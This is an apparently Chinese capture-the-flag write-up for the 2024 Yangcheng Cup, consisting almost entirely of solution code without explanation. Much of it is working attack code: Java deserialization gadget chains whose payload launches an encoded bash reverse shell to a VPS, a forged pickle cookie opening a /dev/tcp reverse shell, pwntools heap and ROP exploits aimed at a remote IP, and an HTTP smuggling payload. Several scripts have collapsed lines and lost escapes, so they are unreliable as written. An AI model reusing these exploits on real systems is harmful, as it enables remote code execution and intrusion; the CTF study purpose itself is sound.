2024羊城杯WriteUP

import wavef = wave.open("hiden.wav", "rb")wav_data = f.readframes(-1)file_len = int.from_bytes(wav_data[:3:4])hidden_data = bytearray(file_len)for index in range(file_len):hidden_data[index] = wav_data[(index + 3) * 4]print(hidden_data)

U_0wN_1T

import oslist = ['']*344i = 0for j in range(344):    list[j] = os.path.getmtime(str(j)+'.crypto')print(list)flag = ''for i in range(344):    if(str(list[i]) == '1628151585.73009'):        flag += '0'    else:        flag += '1'print(flag)tmp = ''for k in range(len(flag)):    tmp += flag[k]    if len(tmp) == 8:        print(chr(int(tmp,2)),end='')        tmp = ''

import pandas as pdimport timedef is_password_hash(value):    return len(value) == 32 and all(c in '0123456789abcdefABCDEF' for c in value)

def is_gender(value):    return value.strip() in ['男', '女']

def is_chinese_name(value):    return all('u4e00' <= c <= 'u9fff' or c in {'·', '.'} for c in value.strip()) and len(value) > 1

def is_birth_date(value):    return len(value) == 8 and value.isdigit()

def is_id_number(value):    return len(value) == 18 and value[:-1].isdigit() and (value[-1].isdigit() or value[-1].upper() == 'X')

def is_phone_number(value):    return len(value) == 11 and value.isdigit()

def is_username(value):    return value.isalnum()

def is_serial_number(value):    return value.isdigit()corrected_data = pd.DataFrame(columns=['编号', '用户名', '密码', '姓名', '性别', '出生日期', '身份证号', '手机号码'])

df = pd.read_csv('./person_data.csv')i=0for index, row in df.iterrows():    new_row = {}    for item in row:        item = str(item).strip()  # 清理数据        if is_password_hash(item):            new_row['密码'] = item        elif is_gender(item):            new_row['性别'] = item        elif is_chinese_name(item):            new_row['姓名'] = item        elif is_birth_date(item):            new_row['出生日期'] = item        elif is_id_number(item):            new_row['身份证号'] = item        elif is_phone_number(item):            new_row['手机号码'] = item        elif is_serial_number(item):            new_row['编号'] = item        elif is_username(item):            new_row['用户名'] = item        print(new_row)    if new_row:        corrected = pd.concat([corrected, pd.DataFrame([new_row])], ignore_index=True)

corrected.to_csv('./flag.csv', index=False)

import jsonimport csvimport re

user_data_file = 'output.txt'output_file = 'output.csv'

def check_username(username):  return bool(re.match(r'^[a-zA-Z0-9]+$', username))

def check_name(name):  return bool(re.match(r'^[u4e00-u9fff]{2,4}$', name))

def calculate_check_digit(idcard_base):  coefficients = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]  check_digits = "10X98765432"  total = sum(int(idcard_base[i]) * coefficients[i] for i in range(17))  remainder = total % 11  return check_digits[remainder]

def check_idcard(idcard, sex, birth):  idcard = str(idcard)  if len(idcard) != 18:    return False

  if is_even(int(idcard[-2])):    if sex != "女":      return False  else:    if sex != "男":      return False

  if idcard[6:14] != str(birth):    return False

def check_phone(phone):  check_list = [734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772,         778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755,         756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777,         780, 781, 789, 790, 791, 793, 799]  if len(phone) != 11:    return False  if int(phone[:3]) not in check_list:    return False  return True

def check_user(user):  if not check_username(user['username']):    return False  if not check_name(user['name']):    return False  if not check_idcard(user['idcard'], user['sex'], user['birth']):    return False  if not check_phone(user['phone']):    return False  return True

invalid_users = []with open(user_data_file, 'r', encoding='utf-8') as file:  for line in file:    user = json.loads(line.strip())    if not check_user(user):      invalid_users.append(user)

with open(output_file, 'w', newline='', encoding='utf-8') as csvfile:  fieldnames = ['username', 'name', 'sex', 'birth', 'idcard', 'phone']  writer = csv.DictWriter(csvfile, fieldnames=fieldnames)  writer.writeheader()  writer.writerows(invalid_users)

package org.le;
import java.io.IOException;import java.io.Serializable;
public class payload implements Serializable {
    public String Gift;
    static {        String cmd = "bash -c {echo,YmFzaCAtaSA+某vps5OSjEK}|{base64,-d}|{bash,-i}";
        try {            Runtime rt = Runtime.getRuntime();            rt.exec(cmd);        } catch (IOException e) {            throw new RuntimeException(e);        }    }
    public void setGift(String gift) {        Gift = gift;    }
    public String getGift() {        String cmd = "bash -c {echo,YmFzaCAtaSA+某vps5OSJjEK}|{base64,-d}|{bash,-i}";        try {            Runtime rt = Runtime.getRuntime();            rt.exec(cmd);        } catch (IOException e) {            throw new RuntimeException(e);        }        return cmd;    }}

package org.le;
import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.*;
import com.fasterxml.jackson.databind.ObjectMapper;import com.fasterxml.jackson.databind.node.POJONode;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.*;import org.apache.commons.beanutils.BeanComparator;import com.example.ycbjava.bean.User;import org.springframework.aop.framework.AdvisedSupport;
import javax.swing.event.EventListenerList;import javax.swing.undo.UndoManager;
import static sun.reflect.misc.FieldUtil.getField;

public class Main {    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }
    public static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {
        Class clazz = obj.getClass();        while (clazz != null) {            try {                Field field = clazz.getDeclaredField(fieldName);                field.setAccessible(true);                return field.get(obj);            } catch (Exception e) {                clazz = clazz.getSuperclass();            }        }        return null;    }
    public static byte[] serialize(final Object obj) throws Exception {        ByteArrayOutputStream btout = new ByteArrayOutputStream();        ObjectOutputStream objOut = new ObjectOutputStream(btout);        objOut.writeObject(obj);        return btout.toByteArray();    }    public static Object deserialize(final byte[] serialized) throws Exception {        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);        ObjectInputStream objIn = new ObjectInputStream(btin);        return objIn.readObject();    }
    public static void main(String[] args) throws Exception {        User user = new User();        user.setUsername("jar:http://ip:port/p2.jar!/");
        payload payload = new payload();        POJONode pojoNode = new POJONode(user);
        //EventListenerList --> UndoManager#toString() -->Vector#toString() --> POJONode#toString()        EventListenerList list = new EventListenerList();        UndoManager manager = new UndoManager();        Vector vector = (Vector) getFieldValue(manager, "edits");        vector.add(pojoNode);
        setFieldValue(list, "listenerList", new Object[]{Map.class,manager});
        byte[] obs = serialize(list);        System.out.println(new String(Base64.getEncoder().encode(obs)));        //deserialize(obs);    }}

package org.le;
import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.*;
import com.fasterxml.jackson.databind.ObjectMapper;import com.fasterxml.jackson.databind.node.POJONode;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.*;import org.apache.commons.beanutils.BeanComparator;import com.example.ycbjava.bean.User;import org.springframework.aop.framework.AdvisedSupport;
import javax.swing.event.EventListenerList;import javax.swing.undo.UndoManager;
import static sun.reflect.misc.FieldUtil.getField;

public class Main {    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }
    public static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {
        Class clazz = obj.getClass();        while (clazz != null) {            try {                Field field = clazz.getDeclaredField(fieldName);                field.setAccessible(true);                return field.get(obj);            } catch (Exception e) {                clazz = clazz.getSuperclass();            }        }        return null;    }
    public static byte[] serialize(final Object obj) throws Exception {        ByteArrayOutputStream btout = new ByteArrayOutputStream();        ObjectOutputStream objOut = new ObjectOutputStream(btout);        objOut.writeObject(obj);        return btout.toByteArray();    }    public static Object deserialize(final byte[] serialized) throws Exception {        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);        ObjectInputStream objIn = new ObjectInputStream(btin);        return objIn.readObject();    }
    public static void main(String[] args) throws Exception {        User user = new User();        user.setUsername("jar:http://ip:port/p2.jar!/");
        payload payload = new payload();        POJONode pojoNode = new POJONode(payload);
        //EventListenerList --> UndoManager#toString() -->Vector#toString() --> POJONode#toString()        EventListenerList list = new EventListenerList();        UndoManager manager = new UndoManager();        Vector vector = (Vector) getFieldValue(manager, "edits");        vector.add(pojoNode);
        setFieldValue(list, "listenerList", new Object[]{Map.class,manager});
        byte[] obs = serialize(list);        System.out.println(new String(Base64.getEncoder().encode(obs)));        //deserialize(obs);    }}

import osimport randomfrom config.secret_key import secret_codefrom flask import Flask, make_response, request, render_templatefrom cookie import set_cookie, cookie_check, get_cookieimport pickle
app = Flask(__name__)app.secret_key = random.randbytes(16)

class UserData:    def __init__(self, username):        self.username = username

def Waf(data):    blacklist = [b"R", b"secret", b"eval", b"file", b"compile", b"open", b"os.popen"]    valid = False    for word in blacklist:        if word.lower() in data.lower():            valid = True            break    return valid

@app.route("/", methods=["GET"])def index():    return render_template("index.html")

@app.route("/lyrics", methods=["GET"])def lyrics():    resp = make_response()    resp.headers["Content-Type"] = "text/plain; charset=UTF-8"    query = request.args.get("lyrics")    path = os.path.join(os.getcwd() + "/lyrics", query)    try:        with open(path) as f:            res = f.read()    except Exception as e:        return "No lyrics found"    return res

@app.route("/login", methods=["POST", "GET"])def login():    if request.method == "POST":        username = request.form["username"]        user = UserData(username)        res = {"username": user.username}        return set_cookie("user", res, secret=secret_code)    return render_template("login.html")

@app.route("/board", methods=["GET"])def board():    invalid = cookie_check("user", secret=secret_code)    if invalid:        return "Nope, invalid code get out!"    data = get_cookie("user", secret=secret_code)    if isinstance(data, bytes):        a = pickle.loads(data)        data = str(data, encoding="utf-8")    if "username" not in data:        return render_template("user.html", name="guest")    if data["username"] == "admin":        return render_template("admin.html", name=data["username"])    if data["username"] != "admin":        return render_template("user.html", name=data["username"])

if __name__ == "__main__":    os.chdir(os.path.dirname(__file__))    app.run(host="0.0.0.0", port=8080)

import base64import hashlibimport hmacimport picklefrom flask import make_response, request

unicode = strbasestring = str



# Quoted from python bottle template, thanks :Ddef cookie_encode(data, key):    msg = base64.b64encode(pickle.dumps(data, -1))    sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())    return tob("!") + sig + tob("?") + msg



def cookie_decode(data, key):    data = tob(data)    if cookie_is_encoded(data):        sig, msg = data.split(tob("?"), 1)        if _lscmp(            sig[1:],            base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest()),        ):            return pickle.loads(base64.b64decode(msg))    return None



def waf(data):    blacklist = [b"R", b"secret", b"eval", b"file", b"compile", b"open", b"os.popen"]    valid = False    for word in blacklist:        if word in data:            valid = True            break    return valid



def cookie_check(key, secret=None):    a = request.cookies.get(key)    data = tob(request.cookies.get(key))    if data:        if cookie_is_encoded(data):            sig, msg = data.split(tob("?"), 1)            if _lscmp(                sig[1:],                base64.b64encode(                    hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest()                ),            ):                res = base64.b64decode(msg)                if waf(res):                    return True                else:                    return False    return True



def tob(s, enc="utf8"):    return s.encode(enc) if isinstance(s, unicode) else bytes(s)



def get_cookie(key, default=None, secret=None):    value = request.cookies.get(key)    if secret and value:        dec = cookie_decode(value, secret)        return dec[1] if dec and dec[0] == key else default    return value or default



def cookie_is_encoded(data):    return bool(data.startswith(tob("!")) and tob("?") in data)



def _lscmp(a, b):    return not sum(0 if x == y else 1 for x, y in zip(a, b)) and len(a) == len(b)



def set_cookie(name, value, secret=None, **options):    if secret:        value = touni(cookie_encode((name, value), secret))        resp = make_response("success")        resp.set_cookie("user", value, max_age=3600)        return resp    elif not isinstance(value, basestring):        raise TypeError("Secret key missing for non-string Cookie.")    if len(value) > 4096:        raise ValueError("Cookie value too long.")



def touni(s, enc="utf8", err="strict"):    return s.decode(enc, err) if isinstance(s, bytes) else unicode(s

secret_code = "EnjoyThePlayTime123456"

from cookie import set_cookie, cookie_check, get_cookie, cookie_encodeimport base64
secret = "EnjoyThePlayTime123456"opcode = b"""(cossystemS'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'o."""# print(base64.b64encode(opcode))exp = cookie_encode(("user", opcode), secret)print(exp)

user=!/q6TKzG9zuXEHdnahPFBvQ==?gAWVVQAAAAAAAACMBHVzZXKUQ0goY29zCnN5c3RlbQpTJ2Jhc2ggLWMgImJhc2ggLWkgPiYgL2Rldi90Y3AvMTM5LjIyNC4xOTkuOTkvOTk5OSAwPiYxIicKby6UhpQu

<?xml version="1.0" encoding="UTF-8"?><web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"        xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"        version="4.0">    <servlet>        <servlet-name>xml</servlet-name>        <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>    </servlet>    <servlet-mapping>        <servlet-name>xml</servlet-name>        <url-pattern>*.xml</url-pattern>    </servlet-mapping></web-app>

from pwn import *from struct import packfrom ctypes import *from libcfind import *import base64leak = lambda name,data : p.success(name +":0x%x" % data)def s(a):    p.send(a)def sa(a, b):    p.sendafter(a, b)def sl(a):    p.sendline(a)def sla(a, b):    p.sendlineafter(a, b)def r():    p.recv()def pr():    print(p.recv())def rl(a):    return p.recvuntil(a)def debug():    gdb.attach(p)    pause()def l64():    return u64(p.recvuntil(b'x7f')[-6:].ljust(8, b'x00'))def l32():    return u32(p.recvuntil(b'xff')[-4:])#定义函数一键下断点def b(addr):    #bk="b *$rebase("+str(addr)+")"    bk='b *' + str(addr)    attach(p,bk)    success('attach')context(os='linux', arch='amd64', log_level='debug')#p = process('./pwn')#p = remote('')bss = 0x601010 + 0x700leave_ret = 0x4006DBread = 0x4006C4rdi = 0x0000000000400773rbp = 0x00000000004005b0ret = 0x4006DC
payload = b'a' * (0x30) + p64(bss + 0x30) + p64(read)sa(b"Can you grasp this little bit of overflow?", payload)payload2 = p64(rdi) + p64(elf.got['read']) + p64(elf.plt['puts']) + p64(rbp) + p64(bss + 0x300 + 0x30) + p64(read)payload2 += p64(bss - 8) + p64(leave_ret)s(payload2)libc_base = uu64() - libc.sym['read']print(hex(libc_base))system, bin_sh = get_sb()payload3 = (p64(rdi) + p64(bin_sh) + p64(ret) + p64(rdi + 1) + p64(system)).ljust(0x30, b'x00') + p64(    bss + 0x300 - 8) + p64(leave_ret)
s(payload3)p.interactive()

from pwn import *

io = remote("139.155.126.78", 31850)context.os = "linux"context.arch = "amd64"elf = ELF('./pwn2')libc = ELF('./libc.so.6')



def add(choice, From, To, Note=b'deadbeef', Far=0x308):    if choice == 0:        choice = b'car'    elif choice == 1:        choice = b'train'    elif choice == 2:        choice = b'plane'    io.sendlineafter(b"5. Calculate the distance.", b'1')    io.recvuntil(b"What kind of transportation do you want? car/train/plane?")    io.sendline(choice)    io.recvuntil(b"From where?")    io.sendline(From)    io.recvuntil(b"To where?")    io.sendline(To)    io.recvuntil(b"How far?")    io.sendline(str(Far).encode())    io.recvuntil(b"Note:")    io.send(Note)



def delete(From, To):    io.sendlineafter(b"5. Calculate the distance.", b'2')    io.recvuntil(b"From where?")    io.sendline(From)    io.recvuntil(b"To where?")    io.sendline(To)



def show(From, To):    io.sendlineafter(b"5. Calculate the distance.", b'3')    io.recvuntil(b"From where?")    io.sendline(From)    io.recvuntil(b"To where?")    io.sendline(To)



def edit(From, To, Route, Note, Far=0x308):    io.sendlineafter(b"5. Calculate the distance.", b'4')    io.recvuntil(b"From where?")    io.sendline(From)    io.recvuntil(b"To where?")    io.sendline(To)    io.sendlineafter(b'Which one do you want to change?n', str(Route).encode())    io.sendlineafter(b'How far?n', str(Far).encode())    io.sendafter(b'Note:n', Note)



def caculate(To):    io.sendlineafter(b"5. Calculate the distance.", b'5')    io.sendlineafter(b"Where do you want to travel?", To)



# "**guangzhou/nanning/changsha/nanchang/fuzhou**"# cat/train/plane

city_array = [b'guangzhou', b'nanning', b'changsha', b'nanchang', b'fuzhou']

add(0, city_array[0], city_array[4])

add(0, city_array[4], city_array[1])add(1, city_array[1], city_array[2])

add(0, city_array[2], city_array[3])

caculate(city_array[2])delete(city_array[1], city_array[2])delete(city_array[4], city_array[1])payload = b'a' * 0x50f + b'f'add(1, city_array[1], city_array[2], payload, 0x310)show(city_array[1], city_array[2])io.recvuntil(b'aaaaaaaaaaf')libc_base = u64(io.recvuntil(b"x7f")[-6:].ljust(8, b"x00")) - 0x21ace0# 构造largebin泄露hbadd(1, city_array[1], city_array[2], payload, 0x310)add(0, city_array[4], city_array[1], b'deaditsh', 0x310)show(city_array[4], city_array[1])io.recvuntil(b'deaditsh')heap_base = u64(rl()[:-1].ljust(8, b'x00')) - 0x1ec0fake_IO_FILE = heap_base + 0x42f0orw_addr = fake_IO_FILE + 0x268

target_addr = libc_base + libc.sym['_IO_list_all']set_context_61 = libc_base + libc.sym["setcontext"] + 61_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']open_addr = libc_base + libc.sym['open']read_addr = libc_base + libc.sym['read']write_addr = libc_base + libc.sym['write']_IO_cookie_jumps = libc_base + 0x216b80_lock = libc_base + 0x21ca60pop_rax = libc_base + 0x0000000000045eb0_IO_wstrn_jumps = libc_base + 0x216dc0pop_rdi = libc_base + 0x000000000002a3e5pop_rsi = libc_base + 0x000000000002be51syscall = libc_base + 0x0000000000029db4ret = libc_base + 0x0000000000029139pop_rdx_r12_ret = libc_base + 0x000000000011f2e7

data = flat({    0: {        0x18: p64(orw_addr),        0x68: _lock,        0x80: fake_IO_FILE + 0xe0 + 0x20,        0xb8: _IO_wfile_jumps    },    0xe0: {        0x18: 0,        0x30: 0,        0xa0: orw_addr,        0xa8: ret,        0xe0: fake_IO_FILE + 0x1C8 + 0x20,    },    # fake_wide_vtable    0x1C8: {        0x68: set_context_61    },    0x238: {        0: b'/flagx00x00x00',        0x10: {[ret, pop_rdi, orw_addr - 0x10, pop_rsi, 0, open_addr,                pop_rdi, 3, pop_rsi, fake_IO_FILE + 0x400, pop_rdx_r12_ret, 0x30, 0, read_addr,                pop_rdi, 1, pop_rsi, fake_IO_FILE + 0x400, write_addr]}    }})

# largebin attackadd(2, city_array[1], city_array[1], b'dddd', 0x300)add(0, city_array[2], city_array[2])add(0, city_array[3], city_array[1], p64(0x521) * 0x50, 0x3E8)delete(city_array[2], city_array[2])delete(city_array[1], city_array[1])add(0, city_array[2], city_array[2], b'cccc', 0x3E8)payload_fake_chunk = b'f' * 8 + p64(0x521) + p64(0x300000003) + p64(0x1000003e8)add(2, city_array[1], city_array[1], payload_fake_chunk, 0x300)

add(2, city_array[0], city_array[1], b'aahhhhaa', 0x300)add(0, city_array[4], city_array[3], b'aadksdaa', 0x3E8)add(0, city_array[3], city_array[1], p64(0x521) * 0x50, 0x3E7)delete(city_array[4], city_array[3])delete(city_array[0], city_array[1])add(0, city_array[4], city_array[0])payload = p64(0) + p64(0x501) + p64(0x400000004) + p64(0) + datapayload = payload.ljust(0x500, b'a') + p64(0x541) * 2add(2, city_array[0], city_array[1], payload, 0x300)

delete(city_array[3], city_array[3])add(2, city_array[0], city_array[1], b'ghsd', 0x3E8)edit(city_array[1], city_array[1], 0, p64(0) + p64(0x521) + p64(libc_base + 0x21b110) * 2 + p64(0) + p64(target_addr - 0x20))delete(city_array[4], city_array[4])add(2, city_array[1], city_array[1], b'jdgjg', 0x300)add(2, city_array[1], city_array[1], b'a' * 8 + p64(0x521) + p32(3) * 3, 0x300)

io.sendlineafter(b"5. Calculate the distance.", b'6')

io.interactive()

pay = """get /cat</flag>1.html HTTP/1.0Host: 1.1.1.1Content-Length: 123"""

pay = """get /1.html HTTP/1.0Host: 1.1.1.1Content-Length: 123"""

def rc4(enc,key):    s=[]    for i in range(256):        s.append(i)    t=[]    for i in range(256):        t.append(ord(key[i%len(key)]))    j=0    for i in range(256):        j=(j+s[i]+t[i])%256        s[i],s[j]=s[j],s[i]    i=0    j=0    result=[]    for k in range(len(enc)):        i=(i+1)%256        j=(j+s[i])%256        s[i], s[j] = s[j], s[i]        x=(s[i]+s[j])%256        result.append(enc[k]^s[x]^ord(key[1])^17)return resultfor i in tqdm(product(Map,repeat=5)):    key = "".join(list(i))    enc = [0x85,0x43,0x72,0x78]    flag=rc4(enc,key)    if flag==[137, 80, 78, 71]:        print(key)        exit()

from scipy.fftpack import dct, idctimport numpy as npenc=[513.355, -37.7986, 8.7316, -10.7832, -1.3097, -20.5779,6.98641, -29.2989, 15.9422, 21.4138, 29.4754, -2.77161,-6.58794, -4.22332, -7.20771, 8.83506, -4.38138, -19.3898,   18.3453, 6.88259, -14.7652, 14.6102, 24.7414, -11.6222,-9.754759999999999, 12.2424, 13.4343, -34.9307, -35.735,-20.0848, 39.689, 21.879, 26.8296]date_by_dct = idct(enc, norm='ortho')result=[0 for i in range(len(date_by_dct))]for i in range(len(date_by_dct)):    result[i] = round(date_by_dct[i])for i in range(len(result)):print(chr(result[i]),end="")

from Crypto.Util.number import *n = 18770575776346636857117989716700159556553308603827318013591587255198383129370907809760732011993542700529211200756354110539398800399971400004000898098091275284235225898698802555566416862975758535452624647017057286675078425814784682675012671384340267087604803050995107534481069279281213277371234272710195280647747033302773076094600917583038429969629948198841325080329081838681126456119415461246986745162687569680825296434756908111148165787768172000131704615314046005916223370429567142992192702888820837032850104701948658736010527261246199512595520995042205818856177310544178940343722756848658912946025299687434514029951c = 2587907790257921446754254335909686808394701314827194535473852919883847207482301560195700622542784316421967768148156146355099210400053281966782598551680260513547233270646414440776109941248869185612357797869860293880114609649325409637239631730174236109860697072051436591823617268725493768867776466173052640366393488873505207198770497373345116165334779381031712832136682178364090547875479645094274237460342318587832274304777193468833278816459344132231018703578274192000016560653148923056635076144189403004763127515475672112627790796376564776321840115465990308933303392198690356639928538984862967102082126458529748355566p = next_prime(gmpy2.iroot(n, 2)[0])q = n // pe = prime_pi(703440151) - 2d = gmpy2.invert(e, (p - 1) * (q - 1))m = pow(c, d, n)print(long_to_bytes(m))

from Crypto.Cipher import AESfrom Crypto.Util.number import inversefrom Crypto.Hash import SHA256import hashlib

# 椭圆曲线点加法函数def add_curve(P, Q, K):    a, d, p = K    if P == (0, 0): return Q    if Q == (0, 0): return P    x1, y1 = P    x2, y2 = Q    # 计算新的x坐标    x3 = ((x1 * y2 + y1 * x2) * pow(1 - d * x1**2 * x2**2, -1, p)) % p    # 计算新的y坐标    y3 = (((y1 * y2 + 2 * a * x1 * x2) * (1 + d * x1**2 * x2**2) + 2 * d * x1 * x2 * (x1**2 + x2**2)) * pow((1 - d * x1**2 * x2**2)**2, -1, p)) % p    return (x3, y3)

# 椭圆曲线点数乘法函数def mul_curve(n, P, K):    R = (0, 0)    while n:        if n & 1: R = add_curve(R, P, K)        P = add_curve(P, P, K)        n >>= 1    return R

# 定义椭圆曲线参数a, d = 46, 20p1 = 826100030683243954408990060837K1 = (a, d, p1)G1 = (560766116033078013304693968735, 756416322956623525864568772142)P1 = (528578510004630596855654721810, 639541632629313772609548040620)Q1 = (819520958411405887240280598475, 76906957256966244725924513645)

# 定义用于加密的参数c, b = 35, 98p = 770311352827455849356512448287E = EllipticCurve(GF(p), [-c, b])G = E(584273268656071313022845392380, 105970580903682721429154563816)P = E(401055814681171318348566474726, 293186309252428491012795616690)

# 生成密钥def generate_key(point, base_point):    try:        # 尝试计算点对数，如果失败则返回None        return SHA256.new(str(point.log(base_point)).encode()).digest()[:16]    except Exception as e:        print(f"Error computing discrete logarithm: {e}")        return None

key = generate_key(P, G) if P and G else None

# 初始化向量和密钥iv = b'bae1b42f174443d009c8d3a1576f07d6'if key:    cipher = AES.new(key, AES.MODE_CBC, iv)    # 解密示例数据    encrypted_data = b'ff34da7a65854ed75342fd4ad178bf577bd622df9850a24fd63e1da557b4b8a4'    decrypted_data = cipher.decrypt(encrypted_data)    print(decrypted_data)else:print("Failed to generate key.")